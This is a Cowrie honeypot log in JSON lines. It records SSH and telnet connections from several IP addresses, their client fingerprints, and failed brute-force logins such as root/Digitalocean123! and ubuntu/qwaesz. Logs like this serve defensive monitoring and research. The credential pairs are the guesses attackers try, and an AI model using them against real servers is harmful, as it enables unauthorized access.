{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:38.964063Z","src_ip":"103.63.108.25","session":"4f7e18be7d45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password123456","message":"login attempt [test/password123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:40.069411Z","src_ip":"103.63.108.25","session":"4f7e18be7d45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:41.349630Z","src_ip":"103.63.108.25","session":"4f7e18be7d45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36746,"dst_ip":"159.203.135.109","dst_port":22,"session":"3261c6386b95","protocol":"ssh","message":"New connection: 159.203.92.129:36746 (159.203.135.109:22) [session: 3261c6386b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:50.540995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:50.544777Z","src_ip":"159.203.92.129","session":"3261c6386b95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:50.547898Z","src_ip":"159.203.92.129","session":"3261c6386b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"123456","message":"login attempt [aa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:50.556484Z","src_ip":"159.203.92.129","session":"3261c6386b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:23:51.562551Z","src_ip":"159.203.92.129","session":"3261c6386b95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":52700,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b831ba327be","protocol":"ssh","message":"New connection: 152.32.238.146:52700 (10.17.0.5:22) [session: 1b831ba327be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:00.138536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:00.144566Z","src_ip":"152.32.238.146","session":"1b831ba327be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:00.171545Z","src_ip":"152.32.238.146","session":"1b831ba327be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwaesz","message":"login attempt [ubuntu/qwaesz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:00.249320Z","src_ip":"152.32.238.146","session":"1b831ba327be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:01.262954Z","src_ip":"152.32.238.146","session":"1b831ba327be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.22.4.154","src_port":53455,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd4b7896d10","protocol":"telnet","message":"New connection: 31.22.4.154:53455 (10.17.0.5:23) [session: edd4b7896d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:13.042156Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38432,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb3ab50c176","protocol":"ssh","message":"New connection: 159.203.92.129:38432 (159.203.135.109:22) [session: 6bb3ab50c176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:32.287105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:32.291402Z","src_ip":"159.203.92.129","session":"6bb3ab50c176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:32.294671Z","src_ip":"159.203.92.129","session":"6bb3ab50c176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aa","password":"aa","message":"login attempt [aa/aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:32.302983Z","src_ip":"159.203.92.129","session":"6bb3ab50c176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:33.310344Z","src_ip":"159.203.92.129","session":"6bb3ab50c176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":58654,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e74dd9347f5","protocol":"ssh","message":"New connection: 103.63.108.25:58654 (159.203.135.109:22) [session: 8e74dd9347f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:40.520483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:40.529370Z","src_ip":"103.63.108.25","session":"8e74dd9347f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:40.802676Z","src_ip":"103.63.108.25","session":"8e74dd9347f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":59232,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fda2f0a47fb","protocol":"ssh","message":"New connection: 152.32.238.146:59232 (10.17.0.5:22) [session: 1fda2f0a47fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:41.270352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:41.275974Z","src_ip":"152.32.238.146","session":"1fda2f0a47fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:41.289206Z","src_ip":"152.32.238.146","session":"1fda2f0a47fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin110","message":"login attempt [root/admin110] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:41.368882Z","src_ip":"152.32.238.146","session":"1fda2f0a47fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":33270,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d3ba5b4344","protocol":"ssh","message":"New connection: 173.249.6.197:33270 (159.203.135.109:22) [session: 72d3ba5b4344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:42.192946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:42.197002Z","src_ip":"173.249.6.197","session":"72d3ba5b4344","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:42.288543Z","src_ip":"173.249.6.197","session":"72d3ba5b4344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:42.381618Z","src_ip":"152.32.238.146","session":"1fda2f0a47fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digitalocean123!","message":"login attempt [root/Digitalocean123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:42.689471Z","src_ip":"173.249.6.197","session":"72d3ba5b4344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testtest","password":"test","message":"login attempt [testtest/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:43.438112Z","src_ip":"103.63.108.25","session":"8e74dd9347f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.555293083190918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:43.597331Z","src_ip":"31.22.4.154","session":"edd4b7896d10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:43.785426Z","src_ip":"173.249.6.197","session":"72d3ba5b4344","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:24:44.714364Z","src_ip":"103.63.108.25","session":"8e74dd9347f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37532,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f8071614e22","protocol":"ssh","message":"New connection: 159.203.92.129:37532 (159.203.135.109:22) [session: 3f8071614e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:15.204240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:15.210309Z","src_ip":"159.203.92.129","session":"3f8071614e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:15.217363Z","src_ip":"159.203.92.129","session":"3f8071614e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"111111","message":"login attempt [aaa/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:15.231748Z","src_ip":"159.203.92.129","session":"3f8071614e22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:16.239317Z","src_ip":"159.203.92.129","session":"3f8071614e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":38672,"dst_ip":"10.17.0.5","dst_port":22,"session":"730d33d348e5","protocol":"ssh","message":"New connection: 152.32.238.146:38672 (10.17.0.5:22) [session: 730d33d348e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:25.877546Z"}
